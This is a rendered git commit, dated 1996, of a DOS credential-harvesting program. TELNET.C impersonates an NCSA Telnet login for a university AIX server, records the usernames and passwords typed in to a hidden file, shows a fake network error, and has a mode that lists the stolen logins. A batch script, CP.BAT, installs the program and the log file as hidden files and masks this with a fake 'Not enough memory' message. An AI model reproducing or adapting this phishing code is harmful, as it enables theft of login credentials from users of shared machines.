First commit 10/04/1996
This commit is contained in:
		
							
								
								
									
										11
									
								
								CP.BAT
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										11
									
								
								CP.BAT
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,11 @@
 | 
				
			|||||||
 | 
					@echo off
 | 
				
			||||||
 | 
					@copy a:\top\telnet.exe c:\
 | 
				
			||||||
 | 
					@cls
 | 
				
			||||||
 | 
					@copy a:\top\register.dat c:\
 | 
				
			||||||
 | 
					@cls
 | 
				
			||||||
 | 
					@attrib +h +r c:\telnet.exe
 | 
				
			||||||
 | 
					@cls
 | 
				
			||||||
 | 
					@attrib +h    c:\register.dat
 | 
				
			||||||
 | 
					@cls
 | 
				
			||||||
 | 
					@echo Not enought memory.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
							
								
								
									
										9
									
								
								README.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										9
									
								
								README.md
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,9 @@
 | 
				
			|||||||
 | 
					#GALILEO 
 | 
				
			||||||
 | 
					 
 | 
				
			||||||
 | 
					 
 | 
				
			||||||
 | 
					*10/04/1996* 
 | 
				
			||||||
 | 
					 
 | 
				
			||||||
 | 
					ToDo: wwtcf? 
 | 
				
			||||||
 | 
					 
 | 
				
			||||||
 | 
					 
 | 
				
			||||||
 | 
					 
 | 
				
			||||||
							
								
								
									
										
											BIN
										
									
								
								REGISTER.DAT
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										
											BIN
										
									
								
								REGISTER.DAT
									
									
									
									
									
										Normal file
									
								
							
										
											Binary file not shown.
										
									
								
							
							
								
								
									
										467
									
								
								TELNET.C
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										467
									
								
								TELNET.C
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,467 @@
 | 
				
			|||||||
 | 
					/*
 | 
				
			||||||
 | 
					// Emulador de Telnet para GALILEO
 | 
				
			||||||
 | 
					*/
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#include <string.h>
 | 
				
			||||||
 | 
					#include <stdio.h>
 | 
				
			||||||
 | 
					#include <stdlib.h>
 | 
				
			||||||
 | 
					#include <conio.h>
 | 
				
			||||||
 | 
					#include <dos.h>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/* The clock tick interrupt */
 | 
				
			||||||
 | 
					#define INTR 0x1C
 | 
				
			||||||
 | 
					#define ATTR 0x1E00
 | 
				
			||||||
 | 
					#ifdef __cplusplus
 | 
				
			||||||
 | 
					    #define __CPPARGS ...
 | 
				
			||||||
 | 
					#else
 | 
				
			||||||
 | 
					    #define __CPPARGS
 | 
				
			||||||
 | 
					#endif
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					typedef unsigned int (far *s_arrayptr);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#define NUMERO_DE_LINEAS   59 //64   /* N<> de lineas de texto */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#define LINEA1      7
 | 
				
			||||||
 | 
					#define DELAY1    150
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#define LINEA2     25
 | 
				
			||||||
 | 
					#define DELAY2    200
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#define LINEA3     38
 | 
				
			||||||
 | 
					#define CORTEN     46
 | 
				
			||||||
 | 
					#define DELAY3     70
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#define DELAY4     90
 | 
				
			||||||
 | 
					#define DELAY5    100
 | 
				
			||||||
 | 
					#define EPASSWORD 200
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#define OPEN       1
 | 
				
			||||||
 | 
					#define CLOSE      0
 | 
				
			||||||
 | 
					#define GET        1
 | 
				
			||||||
 | 
					#define PUT        0
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					char buffer_L[255];
 | 
				
			||||||
 | 
					FILE *handle;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					typedef struct
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					 struct date Fecha;
 | 
				
			||||||
 | 
					 struct time Hora;
 | 
				
			||||||
 | 
					 char code;
 | 
				
			||||||
 | 
					 int  nreg;
 | 
				
			||||||
 | 
					} Header;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					typedef struct
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					 char login[30];
 | 
				
			||||||
 | 
					 char passw[30];
 | 
				
			||||||
 | 
					} Login_Passw;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Header       header;
 | 
				
			||||||
 | 
					Login_Passw      LP;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void interrupt ( *oldhandler)(__CPPARGS);
 | 
				
			||||||
 | 
					void interrupt handler(__CPPARGS);
 | 
				
			||||||
 | 
					void clock_tsr(char ON_OFF);
 | 
				
			||||||
 | 
					char debuglog(char Action);
 | 
				
			||||||
 | 
					void listar(void);
 | 
				
			||||||
 | 
					void Fin(void);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					//char texto[NUMERO_DE_LINEAS][81];
 | 
				
			||||||
 | 
					char *texto[81] =
 | 
				
			||||||
 | 
					 { "National Center for Supercomputing Applications"
 | 
				
			||||||
 | 
					 , "NCSA Telnet 2.3.05 for the PC"
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , "Alt-H presents a summary of special keys"
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , "International keyboard support by Chiquito San"
 | 
				
			||||||
 | 
					 , "Te da cuen pecadol. Triana.   ."
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , "AIX telnet (galileo)"
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , "                 ###     #    #     #   #     ####    ###"
 | 
				
			||||||
 | 
					 , "                #   #   # #   #     #   #     #      #   #"
 | 
				
			||||||
 | 
					 , "                #      #   #  #     #   #     #      #   #"
 | 
				
			||||||
 | 
					 , "                #  ##  #####  #     #   #     ####   #   #"
 | 
				
			||||||
 | 
					 , "                #   #  #   #  #     #   #     #      #   #"
 | 
				
			||||||
 | 
					 , "                #   #  #   #  #     #   #     #      #   #"
 | 
				
			||||||
 | 
					 , "                 ####  #   #  ####  #   ####  #####   ###"
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , "                            Centro de calculo"
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , "                  Facultad de Informatica y Estadistica"
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , "    ------------------------------------------------------------------------"
 | 
				
			||||||
 | 
					 , "    |    IBM POWERserver 950 bajo AIX 3.2.5                                |"
 | 
				
			||||||
 | 
					 , "    |                                                                      |"
 | 
				
			||||||
 | 
					 , "    |    Informacion rapida sobre AIX:    ayuda                            |"
 | 
				
			||||||
 | 
					 , "    |    Para cualquier sugerencia:       mail root                        |"
 | 
				
			||||||
 | 
					 , "    |    Aplicaciones instaladas:         GNU C/C++, ZIP/UNZIP, GenHLP     |"
 | 
				
			||||||
 | 
					 , "    |                                     ELM, Utils.GNU, Utils.X11R4      |"
 | 
				
			||||||
 | 
					 , "    |                                                                      |"
 | 
				
			||||||
 | 
					 , "    ------------------------------------------------------------------------"
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 , "********************************************************************************"
 | 
				
			||||||
 | 
					 , "*  IBM RISC POWERserver 950 bajo AIX 3.2.5.                                    *"
 | 
				
			||||||
 | 
					 , "*                                                                              *"
 | 
				
			||||||
 | 
					 , "*  Aplicaciones instaladas:     /usr/local/bin                                 *"
 | 
				
			||||||
 | 
					 , "*  - Nuevas utilidades:         XWP, SCREENS, EMACS, BASH                      *"
 | 
				
			||||||
 | 
					 , "*                                                                              *"
 | 
				
			||||||
 | 
					 , "* Programas de uso p<>blico:     /home/pub                                      *"
 | 
				
			||||||
 | 
					 , "*                                                                              *"
 | 
				
			||||||
 | 
					 , "* Pr<50>cticas y apuntes:          /home/cursos                                   *"
 | 
				
			||||||
 | 
					 , "*                                                                              *"
 | 
				
			||||||
 | 
					// , "* NUEVA VERSION DE COMPILADOR DE ADA: GNAT en /home/cursos/GNAT                *"
 | 
				
			||||||
 | 
					// , "*                                                                              *"
 | 
				
			||||||
 | 
					// , "* POR FAVOR!!! ELIMINEN ESPACIO DE SUS CUENTAS A FIN DE LIBERAR ESPACIO EN     *"
 | 
				
			||||||
 | 
					// , "*              DISCO QUE PERMITA EN TRABAJO DE TODOS. SE RECUERDA QUE EL       *"
 | 
				
			||||||
 | 
					// , "*              LIMITE SON 2 MB POR CUENTA DE USUARIOS                          *"
 | 
				
			||||||
 | 
					 , "********************************************************************************"
 | 
				
			||||||
 | 
					 , ""
 | 
				
			||||||
 | 
					 };
 | 
				
			||||||
 | 
					int InputCadenaT(char *s, int lmax, char cf);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 int i;
 | 
				
			||||||
 | 
					 char buffer[4096], row, LogPass, *pass;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void main(int argc, char *argv[])
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 if ( argc==2 && strcmp(argv[1], "LISTAR") == 0 )
 | 
				
			||||||
 | 
					 {
 | 
				
			||||||
 | 
						listar();
 | 
				
			||||||
 | 
						return;
 | 
				
			||||||
 | 
					 }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 if ( debuglog(OPEN)==1 )
 | 
				
			||||||
 | 
					 {
 | 
				
			||||||
 | 
						system( "F:TELNET" );
 | 
				
			||||||
 | 
						return;
 | 
				
			||||||
 | 
					 }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 gettext(1, 1, 80, 25, buffer);
 | 
				
			||||||
 | 
					 row = wherey();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 clrscr();
 | 
				
			||||||
 | 
					 printf("NCSA Telnet 2.3.05 for the PC");
 | 
				
			||||||
 | 
					 delay(500);
 | 
				
			||||||
 | 
					 textcolor(YELLOW);
 | 
				
			||||||
 | 
					 textbackground(BLUE);
 | 
				
			||||||
 | 
					 clrscr();
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						textbackground(GREEN);
 | 
				
			||||||
 | 
						textcolor(BLUE);
 | 
				
			||||||
 | 
						gotoxy(1, 25);
 | 
				
			||||||
 | 
						cprintf("* galileo     " ); /* 12:34:00 */
 | 
				
			||||||
 | 
						clock_tsr(OPEN);
 | 
				
			||||||
 | 
						gotoxy(1, 1);
 | 
				
			||||||
 | 
						window(1, 1, 80, 24);
 | 
				
			||||||
 | 
						textbackground(BLUE);
 | 
				
			||||||
 | 
						textcolor(YELLOW);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 for( i=0; i<=CORTEN; i++)
 | 
				
			||||||
 | 
					 {
 | 
				
			||||||
 | 
					  cprintf("%s\r\n", texto[i] );
 | 
				
			||||||
 | 
					  if ( i >=      0 && i<= LINEA1 )
 | 
				
			||||||
 | 
									  delay(DELAY1);
 | 
				
			||||||
 | 
					  else
 | 
				
			||||||
 | 
					  if ( i >= LINEA1 && i<= LINEA2 )
 | 
				
			||||||
 | 
									  delay(DELAY2);
 | 
				
			||||||
 | 
					  else
 | 
				
			||||||
 | 
					  if ( i >= LINEA2 && i<= LINEA3 )
 | 
				
			||||||
 | 
									  delay(DELAY3);
 | 
				
			||||||
 | 
					  else
 | 
				
			||||||
 | 
									  delay(DELAY4);
 | 
				
			||||||
 | 
					 }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					       cprintf( "Usuario: " );
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					       LogPass = CLOSE;
 | 
				
			||||||
 | 
					       while( LogPass == CLOSE )
 | 
				
			||||||
 | 
					       {
 | 
				
			||||||
 | 
						 LogPass = OPEN;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						 InputCadenaT( buffer_L, 254, 0);
 | 
				
			||||||
 | 
						 strncpy( LP.login, buffer_L, 30 );
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						 cprintf( "\r\nContrase<EFBFBD>a de %.8s: ", LP.login );
 | 
				
			||||||
 | 
						 InputCadenaT( buffer_L, 254, 1);
 | 
				
			||||||
 | 
						 strncpy( LP.passw, buffer_L, 30 );
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						 if ( strlen( LP.login ) > 8 ) LogPass = CLOSE;
 | 
				
			||||||
 | 
						 if ( strlen( LP.passw ) < 6 ) LogPass = CLOSE;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						 if ( LogPass == CLOSE )
 | 
				
			||||||
 | 
						  {
 | 
				
			||||||
 | 
						   delay(EPASSWORD);
 | 
				
			||||||
 | 
						   cprintf( "\r\n3004-007 Ha entrado un nombre o contrase<73>a de inicio de sesi<73>n no v<>lido.");
 | 
				
			||||||
 | 
						   cprintf( "\r\ninicio sesi<73>n: ");
 | 
				
			||||||
 | 
						  }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					       };
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 debuglog(CLOSE);  /* PASSWORD HOOKED!!! OH YEAAAA... */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 cprintf("\r\n");
 | 
				
			||||||
 | 
					 for( i=CORTEN; i<NUMERO_DE_LINEAS; i++)
 | 
				
			||||||
 | 
					 {
 | 
				
			||||||
 | 
					  cprintf("%s", texto[i] );
 | 
				
			||||||
 | 
					  delay(DELAY5);
 | 
				
			||||||
 | 
					 }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 sleep(3);
 | 
				
			||||||
 | 
					 Fin();
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void Fin(void)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					 /*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*/
 | 
				
			||||||
 | 
					 int ch;
 | 
				
			||||||
 | 
					 cprintf("\r\n\r\n");
 | 
				
			||||||
 | 
					 clock_tsr(CLOSE);
 | 
				
			||||||
 | 
					 window(1, 1, 80, 25);
 | 
				
			||||||
 | 
					 puttext(1, 1, 80, 25, buffer);
 | 
				
			||||||
 | 
					 gotoxy( 1, row );
 | 
				
			||||||
 | 
					 /*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*/
 | 
				
			||||||
 | 
					 printf("\nSHELL-332-80: Network Error on Server PEGASO. Connection no longer valid.\n");
 | 
				
			||||||
 | 
					 do
 | 
				
			||||||
 | 
					  {
 | 
				
			||||||
 | 
						 printf("Abort, Retry? ");
 | 
				
			||||||
 | 
						 ch = getch();
 | 
				
			||||||
 | 
					  }while( toupper( ch ) != 'A' && toupper( ch ) != 'R' );
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 if ( toupper(ch) == 'A' )
 | 
				
			||||||
 | 
								printf( "Abort\n" );
 | 
				
			||||||
 | 
					 else {
 | 
				
			||||||
 | 
								printf( "Retry\n" );
 | 
				
			||||||
 | 
								sleep(2);
 | 
				
			||||||
 | 
					      }
 | 
				
			||||||
 | 
					 printf("\n**Program Aborted**\n");
 | 
				
			||||||
 | 
					 printf("Error de Interrupci<63>n 15\n\n");
 | 
				
			||||||
 | 
					 /*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*/
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					char debuglog(char Action)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					 struct date  fc;
 | 
				
			||||||
 | 
					 struct time  hc;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 getdate( &fc );
 | 
				
			||||||
 | 
					 gettime( &hc );
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 if ( Action == OPEN )
 | 
				
			||||||
 | 
					 {
 | 
				
			||||||
 | 
					  if ( (handle = fopen( "register.dat", "r+b" ) ) == NULL )
 | 
				
			||||||
 | 
					   {
 | 
				
			||||||
 | 
					     /*// Create a new file ( hook login's )*/
 | 
				
			||||||
 | 
					     if ( (handle = fopen( "register.dat", "wb" ) ) == NULL )
 | 
				
			||||||
 | 
												return 1;
 | 
				
			||||||
 | 
					     rewind(handle);
 | 
				
			||||||
 | 
					     header.Fecha = fc;
 | 
				
			||||||
 | 
					     header.Hora  = hc;
 | 
				
			||||||
 | 
					     header.code  = 26;
 | 
				
			||||||
 | 
					     header.nreg  =  0;
 | 
				
			||||||
 | 
					     fwrite( &header, sizeof(Header), 1, handle);
 | 
				
			||||||
 | 
					     fclose(handle);
 | 
				
			||||||
 | 
					     if ( (handle = fopen( "register.dat", "r+b" ) ) == NULL )
 | 
				
			||||||
 | 
												return 1;
 | 
				
			||||||
 | 
					   } else {
 | 
				
			||||||
 | 
					    rewind(handle);
 | 
				
			||||||
 | 
					    fread( &header, sizeof(Header), 1, handle);
 | 
				
			||||||
 | 
					    if ( header.Fecha.da_day == fc.da_day && (hc.ti_min-header.Hora.ti_min) <= 5 )
 | 
				
			||||||
 | 
					    {
 | 
				
			||||||
 | 
													fclose(handle);
 | 
				
			||||||
 | 
													return 1;
 | 
				
			||||||
 | 
					    } else {
 | 
				
			||||||
 | 
					     rewind(handle);
 | 
				
			||||||
 | 
					     header.Fecha = fc;     header.Hora  = hc;     header.code  = 26; header.nreg++;
 | 
				
			||||||
 | 
					     fwrite( &header, sizeof(Header), 1, handle);
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					   }
 | 
				
			||||||
 | 
					 } else {
 | 
				
			||||||
 | 
					   fseek( handle, ((header.nreg*sizeof(Login_Passw))+sizeof(Header)), SEEK_SET );
 | 
				
			||||||
 | 
					   fwrite( &LP, sizeof(Login_Passw), 1, handle);
 | 
				
			||||||
 | 
					  fclose( handle );
 | 
				
			||||||
 | 
					 }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 return 0;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void listar(void)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					 int i;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 if ( (handle = fopen( "register.dat", "rb" ) ) == NULL ) { cprintf( "NO PASSWORD HOOKED :-(\n\r"); return; }
 | 
				
			||||||
 | 
					 rewind(handle);
 | 
				
			||||||
 | 
					 fread( &header, sizeof(Header), 1, handle );
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 cprintf( "FuTuRe ViSiOn, Your wish are order for me. :-)\n\r"  );
 | 
				
			||||||
 | 
					 for( i=0; i <= header.nreg; i++)
 | 
				
			||||||
 | 
					 {
 | 
				
			||||||
 | 
					  fread( &LP, sizeof(Login_Passw), 1, handle);
 | 
				
			||||||
 | 
					  cprintf( "Login: %25s  Password!!! %25s\n\r", LP.login, LP.passw );
 | 
				
			||||||
 | 
					 }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 fclose(handle);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void clock_tsr(char ON_OFF)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 if ( ON_OFF == OPEN )
 | 
				
			||||||
 | 
					 {
 | 
				
			||||||
 | 
						/* get the address of the current clock
 | 
				
			||||||
 | 
						   tick interrupt */
 | 
				
			||||||
 | 
						oldhandler = getvect(INTR);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						/* install the new interrupt handler */
 | 
				
			||||||
 | 
						setvect(INTR, handler);
 | 
				
			||||||
 | 
					 }else
 | 
				
			||||||
 | 
					 if ( ON_OFF == CLOSE )
 | 
				
			||||||
 | 
					 {
 | 
				
			||||||
 | 
						/* restore the address of the old clock
 | 
				
			||||||
 | 
						   tick interrupt */
 | 
				
			||||||
 | 
						setvect(INTR, oldhandler);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 }
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					void interrupt handler(__CPPARGS)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					     s_arrayptr screen[80];
 | 
				
			||||||
 | 
					     static unsigned char h, m, s, c;
 | 
				
			||||||
 | 
					     screen[0] = (s_arrayptr) MK_FP(0xB800,0);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/* put the number on the screen */
 | 
				
			||||||
 | 
					     asm {
 | 
				
			||||||
 | 
					      mov ah, 0x02
 | 
				
			||||||
 | 
					      int 0x1A
 | 
				
			||||||
 | 
					      mov h, ch
 | 
				
			||||||
 | 
					      mov m, cl
 | 
				
			||||||
 | 
					      mov s, dh
 | 
				
			||||||
 | 
					     }
 | 
				
			||||||
 | 
					     c = h;
 | 
				
			||||||
 | 
					     screen[0][1992] = (h >> 4)   + '0' + ATTR;
 | 
				
			||||||
 | 
					     screen[0][1993] = (c & 0x0F) + '0' + ATTR;
 | 
				
			||||||
 | 
					    screen[0][1994] = 		   ':' + ATTR;
 | 
				
			||||||
 | 
					     c = m;
 | 
				
			||||||
 | 
					     screen[0][1995] = (m >> 4)   + '0' + ATTR;
 | 
				
			||||||
 | 
					     screen[0][1996] = (c & 0x0F) + '0' + ATTR;
 | 
				
			||||||
 | 
					    screen[0][1997] = 		   ':' + ATTR;
 | 
				
			||||||
 | 
					     c = s;
 | 
				
			||||||
 | 
					     screen[0][1998] = (s >> 4)   + '0' + ATTR;
 | 
				
			||||||
 | 
					     screen[0][1999] = (c & 0x0F) + '0' + ATTR;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					/* call the old interrupt handler */
 | 
				
			||||||
 | 
					   oldhandler();
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					int InputCadenaT(char *s, int lmax, char cf)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					 enum { CR = 13, BS = 8, ALTH = 35 };
 | 
				
			||||||
 | 
					 char Buffer[4096];
 | 
				
			||||||
 | 
					 char px = wherex(), p1;
 | 
				
			||||||
 | 
					 char py = wherey(), p2;
 | 
				
			||||||
 | 
					 char hicode = 0;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 char buf[255];
 | 
				
			||||||
 | 
					 int ls;
 | 
				
			||||||
 | 
					 char *s1;
 | 
				
			||||||
 | 
					 int i, c, ok;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 s1 = s; s[0] = '\0';
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					 ls = 0;
 | 
				
			||||||
 | 
					 s += ls;
 | 
				
			||||||
 | 
					 gotoxy(px, py);
 | 
				
			||||||
 | 
					 do {
 | 
				
			||||||
 | 
					     hicode = 0;
 | 
				
			||||||
 | 
					     c = getch();
 | 
				
			||||||
 | 
					     ok = (c == CR);
 | 
				
			||||||
 | 
					     if ( c == 0 ) {
 | 
				
			||||||
 | 
							    hicode = 1;
 | 
				
			||||||
 | 
							    switch(c = getch())
 | 
				
			||||||
 | 
							    {
 | 
				
			||||||
 | 
							     case ALTH:
 | 
				
			||||||
 | 
								     p1 = wherex(); p2 = wherey();
 | 
				
			||||||
 | 
								     gettext(1, 1, 80, 25, Buffer);
 | 
				
			||||||
 | 
								     clrscr();
 | 
				
			||||||
 | 
					//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 | 
				
			||||||
 | 
					//			     cprintf( " Help text do not found !!! " );
 | 
				
			||||||
 | 
					Fin();
 | 
				
			||||||
 | 
